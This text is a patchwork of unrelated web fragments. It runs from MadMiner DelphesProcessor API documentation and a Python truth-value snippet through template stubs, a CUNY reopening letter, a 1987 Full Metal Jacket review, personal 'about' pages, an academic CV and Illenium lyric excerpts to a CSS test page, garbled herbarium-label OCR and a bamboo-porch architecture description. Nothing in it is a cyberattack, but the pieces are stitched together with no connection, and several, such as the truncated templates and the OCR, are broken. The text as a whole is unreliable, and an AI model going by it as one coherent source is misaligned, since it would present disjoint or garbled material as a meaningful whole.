madminer.delphes module¶
-
class
madminer.delphes.
DelphesProcessor
(filename=None, debug=False)[source]¶ Bases:
object
Detector simulation with Delphes and simple calculation of observables.
After setting up the parameter space and benchmarks and running MadGraph and Pythia, all of which is organized in the madminer.core.MadMiner class, the next steps are the simulation of detector effects and the calculation of observables. Different tools can be used for these tasks, please feel free to implement the detector simulation and analysis routine of your choice.
This class provides an example implementation based on Delphes. Its workflow consists of the following steps:
- Initializing the class with the filename of a MadMiner HDF5 file (the output of madminer.core.MadMiner.save())
- Adding one or multiple HepMC samples produced by Pythia in DelphesProcessor.add_hepmc_sample()
- Running Delphes on these samples through DelphesProcessor.run_delphes()
- Optionally, acceptance cuts for all visible particles can be defined with DelphesProcessor.set_acceptance().
- Defining observables through DelphesProcessor.add_observable() or DelphesProcessor.add_observable_from_function(). A simple set of default observables is provided in DelphesProcessor.add_default_observables()
- Optionally, cuts can be set with DelphesProcessor.add_cut()
- Calculating the observables from the Delphes ROOT files with DelphesProcessor.analyse_delphes_samples()
- Saving the results with DelphesProcessor.save()
Please see the tutorial for a detailed walk-through.
Parameters: - filename : str or None, optional
Path to MadMiner file (the output of madminer.core.MadMiner.save()). Default value: None.
- debug : bool, optional
If True, additional detailed debugging output is printed. Default value: False.
Methods
add_cut
(definition[, pass_if_not_parsed])Adds a cut as a string that can be parsed by Python’s eval() function and returns a bool. add_default_observables
([n_leptons_max, …])Adds a set of simple standard observables: the four-momenta (parameterized as E, pT, eta, phi) of the hardest visible particles, and the missing transverse energy. add_hepmc_sample
(filename, …)Adds simulated events in the HepMC format. add_observable
(name, definition[, required, …])Adds an observable as a string that can be parsed by Python’s eval() function. add_observable_from_function
(name, fn[, …])Adds an observable defined through a function. analyse_delphes_samples
([generator_truth, …])Main function that parses the Delphes samples (ROOT files), checks acceptance and cuts, and extracts the observables and weights. reset_cuts
()Resets all cuts. reset_observables
()Resets all observables. run_delphes
(delphes_directory, delphes_card)Runs the fast detector simulation on all HepMC samples added so far. save
(filename_out)Saves the observable definitions, observable values, and event weights in a MadMiner file. set_acceptance
([pt_min_e, pt_min_mu, …])Sets acceptance cuts for all visible particles. -
add_cut
(definition, pass_if_not_parsed=False)[source]¶ Adds a cut as a string that can be parsed by Python’s eval() function and returns a bool.
Parameters: - definition : str
An expression that can be parsed by Python’s eval() function and returns a bool: True for the event to pass this cut, False for it to be rejected. In the definition, all visible particles can be used: e, mu, j, a, and l provide lists of electrons, muons, jets, photons, and leptons (electrons and muons combined), in each case sorted by descending transverse momentum. met provides a missing ET object. visible and all provide access to the sum of all visible particles and the sum of all visible particles plus MET, respectively. All these objects are instances of MadMinerParticle, which inherits from scikit-hep’s [LorentzVector](http://scikit-hep.org/api/math.html#vector-classes). See the link for a documentation of their properties. In addition, MadMinerParticle have properties charge and pdg_id, which return the charge in units of elementary charges (i.e. an electron has e[0].charge = -1.), and the PDG particle ID. For instance, “len(e) >= 2” requires at least two electrons passing the acceptance cuts, while “mu[0].charge > 0.” specifies that the hardest muon is positively charged.
- pass_if_not_parsed : bool, optional
Whether the cut is passed if the observable cannot be parsed. Default value: False.
Returns: - None
-
add_default_observables
(n_leptons_max=2, n_photons_max=2, n_jets_max=2, include_met=True, include_visible_sum=True, include_numbers=True, include_charge=True)[source]¶ Adds a set of simple standard observables: the four-momenta (parameterized as E, pT, eta, phi) of the hardest visible particles, and the missing transverse energy.
Parameters: - n_leptons_max : int, optional
Number of hardest leptons for which the four-momenta are saved. Default value: 2.
- n_photons_max : int, optional
Number of hardest photons for which the four-momenta are saved. Default value: 2.
- n_jets_max : int, optional
Number of hardest jets for which the four-momenta are saved. Default value: 2.
- include_met : bool, optional
Whether the missing energy observables are stored. Default value: True.
- include_visible_sum : bool, optional
Whether observables characterizing the sum of all particles are stored. Default value: True.
- include_numbers : bool, optional
Whether the number of leptons, photons, and jets is saved as observable. Default value: True.
- include_charge : bool, optional
Whether the lepton charge is saved as observable. Default value: True.
Returns: - None
-
add_hepmc_sample
(filename, sampled_from_benchmark)[source]¶ Adds simulated events in the HepMC format.
Parameters: - filename : str
Path to the HepMC event file (with extension ‘.hepmc’ or ‘.hepmc.gz’).
- sampled_from_benchmark : str
Name of the benchmark that was used for sampling in this event file (the keyword sample_benchmark of madminer.core.MadMiner.run()).
Returns: - None
-
add_observable
(name, definition, required=False, default=None)[source]¶ Adds an observable as a string that can be parsed by Python’s eval() function.
Parameters: - name : str
Name of the observable. Since this name will be used in eval() calls for cuts, this should not contain spaces or special characters.
- definition : str
An expression that can be parsed by Python’s eval() function. As objects, the visible particles can be used: e, mu, j, a, and l provide lists of electrons, muons, jets, photons, and leptons (electrons and muons combined), in each case sorted by descending transverse momentum. met provides a missing ET object. visible and all provide access to the sum of all visible particles and the sum of all visible particles plus MET, respectively. All these objects are instances of MadMinerParticle, which inherits from scikit-hep’s [LorentzVector](http://scikit-hep.org/api/math.html#vector-classes). See the link for a documentation of their properties. In addition, MadMinerParticle have properties charge and pdg_id, which return the charge in units of elementary charges (i.e. an electron has e[0].charge = -1.), and the PDG particle ID. For instance, “abs(j[0].phi() - j[1].phi())” defines the azimuthal angle between the two hardest jets.
- required : bool, optional
Whether the observable is required. If True, an event will only be retained if this observable is successfully parsed. For instance, any observable involving “j[1]” will only be parsed if there are at least two jets passing the acceptance cuts. Default value: False.
- default : float or None, optional
If required=False, this is the placeholder value for observables that cannot be parsed. None is replaced with np.nan. Default value: None.
Returns: - None
-
add_observable_from_function
(name, fn, required=False, default=None)[source]¶ Adds an observable defined through a function.
Parameters: - name : str
Name of the observable. Since this name will be used in eval() calls for cuts, this should not contain spaces or special characters.
- fn : function
A function with signature observable(leptons, photons, jets, met) where the input arguments are lists of ndarrays and a float is returned. The function should raise a RuntimeError to signal that it is not defined.
- required : bool, optional
Whether the observable is required. If True, an event will only be retained if this observable is successfully parsed. For instance, any observable involving “j[1]” will only be parsed if there are at least two jets passing the acceptance cuts. Default value: False.
- default : float or None, optional
If required=False, this is the placeholder value for observables that cannot be parsed. None is replaced with np.nan. Default value: None.
Returns: - None
-
analyse_delphes_samples
(generator_truth=False, delete_delphes_files=False)[source]¶ Main function that parses the Delphes samples (ROOT files), checks acceptance and cuts, and extracts the observables and weights.
Parameters: - generator_truth : bool, optional
If True, the generator truth information (as given out by Pythia) will be parsed. Detector resolution or efficiency effects will not be taken into account.
- delete_delphes_files : bool, optional
If True, the Delphes ROOT files will be deleted after extracting the information from them. Default value: False.
Returns: - None
-
run_delphes
(delphes_directory, delphes_card, initial_command=None, log_file=None)[source]¶ Runs the fast detector simulation on all HepMC samples added so far.
Parameters: - delphes_directory : str
Path to the Delphes directory.
- delphes_card : str
Path to a Delphes card.
- initial_command : str or None, optional
Initial bash commands that have to be executed before Delphes is run (e.g. to load the correct virtual environment). Default value: None.
- log_file : str or None, optional
Path to log file in which the Delphes output is saved. Default value: None.
Returns: - None
-
save
(filename_out)[source]¶ Saves the observable definitions, observable values, and event weights in a MadMiner file. The parameter, benchmark, and morphing setup is copied from the file provided during initialization.
Parameters: - filename_out : str
Path to where the results should be saved. If the class was initialized with filename=None, this file is assumed to exist and contain the correct parameter, benchmark, and morphing setup.
Returns: - None
-
set_acceptance
(pt_min_e=None, pt_min_mu=None, pt_min_a=None, pt_min_j=None, eta_max_e=None, eta_max_mu=None, eta_max_a=None, eta_max_j=None)[source]¶ Sets acceptance cuts for all visible particles. These are taken into account before observables and cuts are calculated.
Parameters: - pt_min_e : float or None, optional
Minimum electron transverse momentum in GeV. None means no acceptance cut. Default value: None.
- pt_min_mu : float or None, optional
Minimum muon transverse momentum in GeV. None means no acceptance cut. Default value: None.
- pt_min_a : float or None, optional
Minimum photon transverse momentum in GeV. None means no acceptance cut. Default value: None.
- pt_min_j : float or None, optional
Minimum jet transverse momentum in GeV. None means no acceptance cut. Default value: None.
- eta_max_e : float or None, optional
Maximum absolute electron pseudorapidity. None means no acceptance cut. Default value: None.
- eta_max_mu : float or None, optional
Maximum absolute muon pseudorapidity. None means no acceptance cut. Default value: None.
- eta_max_a : float or None, optional
Maximum absolute photon pseudorapidity. None means no acceptance cut. Default value: None.
- eta_max_j : float or None, optional
Maximum absolute jet pseudorapidity. None means no acceptance cut. Default value: None.
Returns: - None


https://docs.python.org/3/library/constants.html
https://docs.python.org/3/library/functions.html#bool
Any object can be tested for truth value.
Objects considered false:
Everything else is considered true.
'True' and 'False' are instances of the 'bool' class which is inherited from 'int'. In numeric contexts (for example when used as the argument to an arithmetic operator), 'False' and 'True' behave like the integers 0 and 1, respectively.
'A or B', 'A and B', 'not A' (ascending priority).
'A or not B and C' is interpreted as 'A or ((not B) and C)'.
'not A == B' is interpreted as 'not (A == B)' ('==' is a non-Boolean operator!).
Use parentheses () in case of doubt.
'and' and 'or' are short-circuit operators:
'A == B', 'A != B', 'A < B', 'A <= B', 'A > B', 'A >= B'.
Identity tests: 'A is B' [id(A) == id(B)], 'A is not B'.
'x in S' and 'x not in S' operations are supported by types that are iterable or implement the '__contains__()' method.


{% include head.html %}
{% include svg/gcs_logo.svg %}
Design As It Is Practiced
Introduction
Chapters
Art
Typography
Color
Graphic Design
Product Design
Design Management
Web Design
Development
Writing
Tools
{{ page.title }}
{{ content }}
{% include custom-foot.html %}


OFFICE OF THE CHANCELLOR
Dear CUNY Community,
As you know, New York City this week entered the first of four phases of Gov. Cuomo’s New York Forward reopening plan. I wanted to take a moment to discuss the practical ramifications of this process for the University, now and for the weeks and months to come.
In order to begin reopening, the city, as with the other regions of New York State, was required to meet seven health-related metrics involving COVID-19 hospitalizations, testing and contact tracing. The plan’s stipulated trajectory prescribes the in-person reopening of educational institutions in the fourth and final phase, but there are important exceptions that could enable other facets of the University, such as research activity, to return sooner, if the city continues to meet all metrics.
Last month, I established two task forces to provide a roadmap for the physical reopening of our campuses and on-site teaching and support services. The Academic and Student Support Task Force is chaired by Executive Vice Chancellor and University Provost José Luis Cruz and the Coronavirus Planning Task Force is co-chaired by Executive Vice Chancellor and COO Hector Batista and Senior Vice Chancellor for Institutional Affairs, Strategic Advancement and Special Counsel Glenda Grace. These task forces have been hard at work developing CUNY-wide guidelines that — along with feedback received from various campus-specific groups — will help inform decision-makers as they prepare their college’s individualized, unit-level plans for reopening, which will require formal approval by the CUNY’s central administration before they can take effect.
As you know all 12 sessions of our Summer Term are being conducted by distance learning, and student support services that are currently being provided remotely — including mental health counseling; advisement; library, enrollment management, and career engagement services; student life; development; and inclusion programming — will continue to be delivered in the same way until further notice.
The safety of students, faculty and staff continues to be the primary consideration that guides all University decision-making involving the continuity of our operations. This includes decisions involving the fall semester. Because of the fluid and variable nature of the recovery and reopening efforts, no decision has been made yet about the possibility for resumption of on-campus instruction.
We understand that the uncertainty surrounding the in-person reopening of our campuses will require continued patience, but the circumstances demand a measured pace and the utmost prudence. I will continue to keep you informed of every development, and thank you for your dedication and hard work.
Before I finish, please know that I realize that the recent weeks and months have been exceptionally fraught. Just as the city was beginning to emerge from the pandemic shutdown, the murder of George Floyd by police in Minneapolis highlighted to all the pernicious evil of racism as well as the need for cultural and structural change in law enforcement and society. As I said, universities can be the engines of change and badly needed reforms. CUNY is committed to being one of those engines. We are proud to serve one of the country’s most diverse university communities, and I am firmly committed to building on that legacy.
Sincerely,
Felo


FULL METAL JACKET A film review by Mark R. Leeper Copyright 1987 Mark R. Leeper
Capsule review: FULL METAL JACKET has echoes of some of Kubrick's best work. It is episodic, noisy, sad, and funny, and sometimes gives a distorted view but it is also a powerful film, without much competition. It is one of the two or three best films about the Vietnam War.
Well, the Vietnam War film seems to be with us at last. While the war went on and for a good while afterward it seemed a taboo subject. People, and in particular film backers, did not want to make films about so downbeat a subject. With the passing of time some of the wounds have healed and we have some gung-ho Vietnam films. The RAMBOs and MISSING IN ACTIONs made it entertaining (if unrealistic) as the John Wayne films a generation earlier did for World War II. Now serious Vietnam films are being made. We had DEER HUNTER, APOCALYPSE NOW, THE KILLING FIELDS, and PLATOON. Kubrick's latest film is FULL METAL JACKET.
The film is the history of a Marine known only as Lt. Joker (played by Matthew Modine). The story is the memories of Joker from the war and, like memories, it is episodic. The first 3/4-hour of the film is the story of Joker's boot camp experience on Paris Island. 90% of the words you hear during this story are yelled by Joker's drill instructor. From there we follow John's early Vietnam career in some shorter episodes, then the film ends in another long story. Joker becomes a correspondent for the only newspaper the brass respects, the military's own STARS AND STRIPES. By their own admission, all they publish is good-news war news and stories about soldiers giving half their income to down-trodden Vietnamese. The war, and in particular the Tet Offensive, is seen from his ironic viewpoint. While the film is not as exaggerated as DR. STRANGELOVE, it always has a tragic and usually a comic undertone. The film starts bitter and funny like DR. STRANGELOVE and slowly transforms to sad and bitter like PATHS OF GLORY. Those are Kubrick's two best films and FULL METAL JACKET could well come to be accepted by many as his third best.
FULL METAL JACKET is not the Vietnam War the grunts saw. That was PLATOON. It isn't the war the Cambodians saw. That was THE KILLING FIELDS. The Vietnam War the middle-aged right wing saw was THE GREEN BERETS. If I ever figure out from whose viewpoint the was was seen in THE DEER HUNTER or APOCALYPSE NOW, I'll let you know. FULL METAL JACKET is the Vietnam War that the college kids who didn't go (and a few who did) saw. As such it has some truths, some distortions, and more than a little nostalgia value. Rate it a +2 on the -4 to +4 scale.
Mark R. Leeper ihnp4!mtgzz!leeper<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{{define "cp_head"}}{{if not .PartialRequest}}
To include the user or server in the message you can use the template data included, the templating engine used is go's text/template
Some quick examples: {{"{{"}}.User.Username{{"}}"}}
- will be replaced by username, {{"{{"}}.Server.Name{{"}}"}}
- Will be replaced by server name, {{"{{"}}.User.ID{{"}}"}}
- The users id and so on..
To mention the user for example you would do<EMAIL_ADDRESS>{{"{{"}}.User.(ID/Username/Discriminator/Bot{{"}}"}}
{{end}}
{{define "template_helper_guild"}}{{"{{"}}.Server.(ID/Name/Icon/Owner/Permissions){{"}}"}}
{{end}}
{{define "set_roles"}}{{end}}


--- layout: page title: About header-img: "img/about-bg.png" ---
My name is Sara Walker and this is my blog from the time I started coding as a web developer student and beyond. I hope you enjoy reading this. I also hope it helps another beginner feel a little less awkward. :)


James Dietrich Boyko - Curriculum Vitae
Current Appointment: The Michigan Institute for Data Science, University of Michigan
Web page: https://www.jamesboyko.com
Github: jboyko
Email<EMAIL_ADDRESS>Academic Background
Schmidt Futures AI in Science Post-doctoral fellow, University of Michigan (January 2023 - Present)
Research Project: Deep-neural networks as a framework for understanding major evolutionary transitions in animal body form
Mentors: Dr. Dan Rabosky and Dr. Yuanfang Guan
Post-doctoral research associate, University of Tennessee, Knoxville (October 2022 - January 2023)
Research Project: Assessing ascertainment bias in diversification rate estimates
Mentor: Dr. Brian O’Meara
Ph.D., University of Arkansas, Biological Sciences (August 2017 - August 2022)
Dissertation: Hiding in plain sight: accounting for rate heterogeneity in trait evolution models.
Mentor: Dr. Jeremy M. Beaulieu
M.Sc., University of Toronto, Department of Ecology and Evolutionary Biology (August 2015 - July 2017)
Thesis: The Effect of Congeners on Trait Evolution and Sexual Dimorphism in Lesser Antillean Anolis Lizards.
Mentor: Dr. Luke D. Mahler
B.A., University of Toronto, Biology and History (September 2010 - June 2015)
Research Project: Meta-analysis of phylogenetic community assembly.
Mentor: Dr. Benjamin Gilbert
Publications
Boyko, J. D., and B. C. O’Meara. 2023. dentist: Computing uncertainty by sampling points around maximum likelihood estimates. bioRxiv 2<IP_ADDRESS>3430. Submitted.
Boyko, J.D., O’Meara, B.C., Beaulieu, J.M. 2023. A Novel Method for Jointly Modeling the Evolution of Discrete and Continuous Traits. Evolution. Accepted.
Boyko J.D., Beaulieu J.M, Hagen E.R., and Vasconcelos T.N.C. 2023. Long-term responses of life-history strategies to climatic variability in flowering plants. New Phytologist (special issue). Accepted.
Boyko, J.D. and Beaulieu, J.M. 2022. Reducing the biases in false correlations between discrete characters. Systematic Biology.
Mortimer S.M., Boyko J.D., Beaulieu J.M., Tank D.C. 2022. Synthesizing Existing Phylogenetic Data to Advance Phylogenetic Research in Orobanchaceae. Systematic Botany. 47, 533-544.
Vasconcelos T.N.C., Boyko J.D., Beaulieu J.M. 2021. Linking mode of seed dispersal and climatic niche evolution in flowering plants. Journal of Biogeography.
Boyko, J. D. & Beaulieu, J. M. 2021. Generalized hidden Markov models for phylogenetic comparative datasets. Methods Ecology and Evolution, 12, 468–478.
Beaulieu, J., O’Meara, B., Caetano, D. and Boyko, J.D., 2019. Package ‘hisse’.
Nakov, T., Boyko, J.D., Alverson, A.J. and Beaulieu, J.M., 2017. Models with unequal transition rates favor marine origins of Cyanobacteria and photosynthetic eukaryotes. PNAS, 114(50), pp. E10606-E10607.
Software contributions:
corHMM - Correlated Hidden Markov Models for comparative biology
dentist - Computing uncertainty by sampling points around maximum likelihood estimates
hiSSE - Hidden State Dependent Speciation Extinction models
Honors, Awards, and Funding
2022: $750 USD – Journal of Biogeography Innovation award
2021: $1000 USD – Outstanding graduate student research award
2019: $500 USD - American Society of Naturalists Travel Grant
2017 to 2021: $80,000 USD - Distinguished Doctoral Fellowship
2017: $750 USD - SGS Conference Grant
2016: $400 USD - Phylogenetic Symposium Travel Grant
Presentations
Boyko, J.D., Beaulieu, J.M. (2022) Reducing the biases in false correlations between discrete characters. (Evolution: Poster presentation - International Conference).
Boyko, J.D., Beaulieu, J.M. (2019) Quantifying the limits of our knowledge in phylogenetic comparative studies. (Quantitative Genetics Workshop - International Workshop).
Boyko, J.D., Nakov, T., Alverson, A.J. and Beaulieu, J.M. (2019) Quantifying the limits of our knowledge in phylogenetic comparative studies. (Botany: Oral presentation – International Conference)
Boyko, J.D., Nakov, T., Alverson, A.J. and Beaulieu, J.M. (2018) Testing the signal of marine versus freshwater origins of photosynthetic eukaryotes. (Botany: Oral presentation – International Conference)
Boyko, J.D., Mahler, D. L. (2017) Testing for character displacement in Lesser Antillean anoles. (Atwood Colloquium: Oral presentation – Institutional Conference)
Boyko, J.D., Mahler, D. L. (2016) Character displacement in Lesser Antillean Anolis lizards. (Evolution: Oral presentation – International Conference)
Boyko, J.D., Mahler, D. L. (2016) Testing for repeated character displacement in Anolis lizards. (OE3C: Oral presentation – Provincial Conference)
Volunteering and Outreach
2018 to 2021: Vice president of the University of Arkansas Wildlife Society
2018 to 2021: Member of the Association for Women in Science (AWIS)
2018 to 2020: Watershed Conservation Resource Center
2018, 2019: Bearcat Hollow Maintenance
2017: Atwood Colloquium Volunteer Coordinator (University of Toronto)
2016: Atwood Colloquium Volunteer (University of Toronto)
Teaching Exerpience
2017 to 2020 Teaching Assistant: BIOL3023 (Evolutionary Biology) - University of Arkansas
2016 to 2017 Teaching Assistant: EEB365 (Macroevolution) - University of Toronto
2016 to 2017 Teaching Assistant: EEB225 (Biostatistics for Biologists) - University of Toronto
2015 to 2016 Teaching Assistant: BIO220 (From Genomes to Ecosystems in a Changing World) - University of Toronto
2015 to 2016 Teaching Assistant: BIO120 (Adaptation and Biodiversity) - University of Toronto
References
Dr. Jeremy M. Beaulieu – University of Arkansas
Dr. Brian C. O’Meara – University of Tennessee


About Me: I am 20 years old, born and raised in Bozeman Montana. I moved to portland September 1st 2017 in order to join Epicodus. I am interested in AI development and machine learning, and enjoy puzzles and challenges. You can find me on Facebook, follow me on Twitter, or contact me by email at AdamTitus76@gmail.com.


{% extends "base.html" %} {% block graph %}
The records fetched are:
| ID | SIMULATION ID | MONITORING ID | PC ID | date | SOURCE IP | DESTINATION IP | total no. of uploaded packets | total no. of downloaded packets | total packets | SUM OF size of uploadedPACKETS | mean of uploaded packets | upload band | size of downloaded pack | mean of downloaded | DOWNLOAD BAND |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| {{row.0}} | {{row.1}} | {{row.2}} | {{row.3}} | {{row.4}} | {{row.5}} | {{row.6}} | {{row.7}} | {{row.8}} | {{row.9}} | {{row.10}} | {{row.11}} | {{row.12}} | {{row.13}} | {{row.14}} | {{row.15}} | {% endfor %}


ILLENIUM
-
Sleepwalker
[by:矩阵] [ar: ILLENIUM/Joni Fatora] [ti: Sleepwalker (feat. Joni Fatora)] [al: Ashes] [length: 04:10] sleepwalker, where ...  -
In Your Wake (feat. Jeza) (Original Mix)
[by:Daybreak丶] Losing ourselves And were barely standing Warm body surround If there’s no soft landing Let me be forgott...  -
Fractures
[by:EnderCrafter] 作曲 : Nicholas Miller/Keely Bumford/Henri Lanz/William Rappaport 作词 : Nicholas Miller/Keely Bumford... -
God Damnit
[by:hondoes] If there's a God Why'd he make me? All of these flaws Is all that I see If there's a God I don't believe So... -
Mine (Illenium Remix)
When it went down It was so hard to breathe I gave up everything In the slow fall down to the floor Life was escaping me... -
Lost
作曲 : Nicholas Miller/Emilie Brandt/Joshua Napert/Matthew Wirnsberger 作词 : Nicholas Miller/Emilie Brandt/Joshua Napert/... -
Reverie
[by:小陀螺Tony] [ti:Reverie (feat. King Deco)] [ar:ILLENIUM King Deco 403710535] [al:] [by:九九Lrc歌词网～www.99Lrc.net] When you... -
Sound of Walking Away
[by:NickyRomero] 作曲 : Nicholas Miller/Kerli Kõiv/Brennan Strawn 作词 : Nicholas Miller/Kerli Kõiv/Brennan Strawn I've be... -
Take You Down
I didn't mean to hurt you when I hurt myself It's just an empty voice screaming out for help No I didn't mean to scare y... -
Takeaway
作曲 : Nicholas Miller/Andrew Taggart/Sorana Pacurar/Alex Pall/Christoph Bauss/Fridolin Walcher/Timofei Crudu/Jonas Becke... -
Free Fall
[by:hondoes] 作曲 : Nicholas Miller/Avena Savage 作词 : Nicholas Miller/Avena Savage I couldn't tell him I couldn't breath... -
Rush Over Me
[by:hondoes] Your fingertips on my skin There's nothing that I wouldn't give To keep this love alive We gave it all, we ... -
Without Me (ILLENIUM Remix)
[by:hondoes] Found you when your heart was broke I filled your cup until it overflowed Took it so far to keep you close ... -
Feel Good
[by:NickyRomero] 作曲 : Dan Griffith/Grace Tandon/Toby Gad/Nicholas Daniel Miller/Nisha Asnani 作词 : Dan Griffith/Grace T... -
Beautiful Creatures
[by:hondoes] Can't see the stars, but we're reaching Trying to get through the dark on a feeling Lost our gravity, now w... -
Disarm You (Illenium Remix)
[by:朽玊] [ar:Kaskade] [ti:Ilsey] Let me disarm you I'm not trying to own you I just want to know what it feels like To ha... -
Sound of Where'd U Go
[by:hondoes] No, don't come find me I won't be here waiting I so can do it alone You're not worth staying Where'd you g... -
Gold (Stupid Love)
[by:弋许] 作曲 : Excision 作词 : Excision Two choices on my mind Four hours on the road Give way to control Go around it a t... -
Only One (Kill Paris Remix)
[by:wendigooooo] I guess I'll be the first to say it I haven't felt this good in a while You tell me I'm the only one th... -
Operate (Illenium Remix)
[by:Hey-Eye] [ti:Operate(illenium Remix)] [ar:ILLENIUM] [al:Operate(illenium Remix)] [by:Hey-Eye] I got it in a worse wa... -
Illenium - Let you go（Stories&Justin Dai Bootleg
[by:Xiatingp1709] [ti:Stories,Justin Dai - Illenium - Let you go锛圫tories&Justin Dai Boolteg] [ar:] [al:] [by:九九Lrc歌词网～ww...  -
Without You (Electus Remix)
[by:阿兔兔兔兔兔deisi] I feel you Shutting down After we've had one too many Of these talks You say you wanna stay But I know ... -
Needed You
[by:hondoes] I could count them if I want to All these years I've wasted on you You gave up, I-I grew up Oh, I can't he... -
Sad Songs
[by:hondoes] 作曲 : Annika Wells/Nicholas Miller/Trevor Christensen 作词 : Annika Wells/Nicholas Miller/Trevor Christensen...  -
Blood
[by:hondoes] 作曲 : Damian Mckee/Eamon Murray/Foy Vance/John McDaid/Jonny Coffer/Liam Bradley/Niamh Dunne/Nicholas Miller... -
Infinity (Illenium Remix) [Lovestep]
[by:TooMuchPride] Wanna walk to the edge of the earth Scream your name till the fires gone For my loss Wanna drink till ... -
Lonely
作曲 : Chandler Leighton/Nicholas Miller/Jaymes Young 作词 : Chandler Leighton/Nicholas Miller/Jaymes Young Won't you let ... -
Broken Ones
[by:hondoes] 作曲 : Nicholas Miller/Annika Wells 作词 : Nicholas Miller/Annika Wells I know the way the story goes The fir... -
In Your Arms
[by:hondoes] 作曲 : Nicholas Miller/Jason Evigan/Stefan Johnson/Jordan Johnson/Sam Martin/Sam Harris/Alexander Izquierdo ... -
All Together
[by:hondoes] 作曲 : Nicholas Miller/Devrim Karaoglu/Jeff Frank D'Agostino/Antonina Armato/Tim James 作词 : Nicholas Miller... -
I Care (Intro)
作曲 : Nicholas Miller 作词 : Nicholas Miller It's unavoidable It just happens When you grow up Your heart dies Who cares... -
Don't Give up on Me
[by:NickyRomero] It was only a dream The waves of evil crashing over us It was only a weak And fateful scream beneath th... -
Gorgeous
[by:hondoes] 作曲 : Nicholas Miller/Antonina Armato/Tim James/Sandy Vee/Adio Marchant 作词 : Nicholas Miller/Antonina Arma... -
Leaving
[by:hondoes] Hey, how are you doing?  -
Good Things Fall Apart
[by:是非又欲] [ti:] [ar:] [al:] [by:九九Lrc歌词网～www.99Lrc.net] 作曲 : Nicholas Miller/Jason Evigan/James Abrahart/Sarah Hudson/J...  -
Say It (Illenium Remix)
[by:Devil_丸子] Feeling the song,party done Shadows walking home Walking with our game on You are my kind,classic mind And...  Where'd you go? Where'd you go? Where'd you go? Where'd you go? Where'd you go? Where'd yo... -
That’s Why
[by:hondoes] 作曲 : Nicholas Miller/Antonina Armato/Tim James/Simon Rosen 作词 : Nicholas Miller/Antonina Armato/Tim James...   Maybe you should play it safer. You... -
It's All on U
[by:鹿秋] At first I didn't think that I was cut enough to bleed Then I saw my secrets getting swallowed by the sea Throug... -
Fortress
[by:小陀螺Tony] [ti:Fortress (feat. Joni Fatora)] [ar:ILLENIUM Joni Fatora403012334] [al:] [by:九九Lrc歌词网～www.99Lrc.net] No ... -
Show Me (Daya x Gryffin x Illenium x Metrush)
[by:冰糖炖雪梨Shirley] Yeah, I doubt, I doubt myself And I'm too proud to ask for help When you see me beside myself I don't ... -
Gryffin / ILLENIUM / Daya - Feel Good（Aou Bootleg）
[by:乘风破浪去吧] Yeah, I doubt, I doubt myself And I'm too proud to ask for help When you see me beside myself I don't have t... -
Crawl Outta Love (The Glitch Mob Remix)
作曲 : Kate Morgan/Annika Wells/Michael Biancaniello/Nicholas Miller 作词 : Kate Morgan/Annika Wells/Michael Biancaniello/... -
Hold On
[by:hondoes] 作曲 : Nicholas Miller/Georgia Ku/Andrew Goldstein 作词 : Nicholas Miller/Georgia Ku/Andrew Goldstein I can't... -
Crashing
作曲：Tim James/Nicholas "Illenium" Miller/Antonina Armato/Julia Michaels/Justin Tranter/Elio Armato 作词：Tim James/Nicholas ... -
Don't Let Me Down (Illenium Remix)
[by:小陀螺Tony] [ti:Don't Let Me Down (Illenium Remix)] [ar:ILLENIUM Daya 405599648] [al:] [by:九九Lrc歌词网～www.99Lrc.net] Cras... -
Crawl Outta Love
[by:用户105176028] We were so bright, standing in the sunlight Never got burnt We were alright, had that easy kind of love... -
Gryffin-Feel Good(MrxUED Bootleg)（MrxUED / Gryffin / ILLENIUM / Daya remix）
作曲 : 无 作词 : 无 Yeah, I doubt, I doubt myself 我时常会怀疑我自己 And I'm too proud to ask for help 我心高气傲不愿向你求援 When you see me be...


This paragraph should be unstyled.
This address should be unstyled.
This paragraph should have green background.
This paragraph should have green background.
- First definition term that should have green background.
- First definition that should also have a green background.
- Second definition term that should have green background.
- Second definition that should have green background.
- Third definition term.
- Third definition.
- Fourth definition term that should have green background.
- Fourth definition that should have green background.
- Fifth definition term that should have green background.
- Fifth definition that should have green background.
- Sixth definition term.
- Sixth definition.


?PLANTS
OF
CUBA
New
York
BotanicaKiarden
ltOM317
6
7
8
9
10
T
VT
v
The
New
York
copyright
reserved
botanical
Garden
seenfor
monograph
U.Scholz
1977/78
Oplismenus
hirtellus
subsp.
setarius
(Lam.)
Mez
ex
Ekm.
i
Luis
Catass
Guerra
2006
1604397
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


{{posts.title}}
{{posts.text | safe}}
{% if current_user.is_authenticated %}
Like
{{posts.likes}} Likes
{% if posts.closed == False %}
Post closed by {{posts.closed_by_name()}} on {{posts.closed_on}}


The Bamboo Hat Porch in Village / Rural Culture D-R-C
- Curated by 韩爽 - HAN Shuang
- about 2 hours
- version="1.0" encoding="UTF-8"? Architects: Rural Culture D-R-C
- version="1.0" encoding="UTF-8"?YearCompletion year of this architecture project Year: 2019
- version="1.0" encoding="UTF-8"?PhotographsPhotographs: Gang Xiang
- Lead Architects Haian Guo
- Design Team Zheng Wang, Xin li, Gang Xiang
- Planning and Design China Academy of Urban Planning & Design
- Planning Team Lu Cao, Zheng Wang, Jing Li
- Owner Mutual Aid Association] of Shang Village，Jixi
- Operating Unit Mutual Aid Association] of Shang Village，Jixi
- Guiding Unit Housing and Urban-rural Development Department of Anhui Province
- Construction Team Craftsmen and villagers
More Specs Less Specs
Text description provided by the architects. One hat，just for one people；If there are 10 or 20…even 100…
Could more than 100 people be helped？
The bamboo hat porch is located at the entrance of Shang Village, Jixi Country, Xuan city in Anhui province. Plenty of photographers and tourists are attracted to this small old village. The park nearby the entrance is the only way which must be passed, where is no shed or any cover for people to avoid the strong sunlight or rain. How to afford a place to protect the people from bad weather is what we try to consider, which may be a tiny issue but we can help.
There are a lot of bamboos on the local mountains, which are produced by the nature and can be used as the frame of the porch. Every villager provides one bamboo hat, which can both facilitate communication of villagers and be used as the material of the roof. And the small sky over one person converges to a big sky, under which everybody can be protected, including the visitors from everywhere.
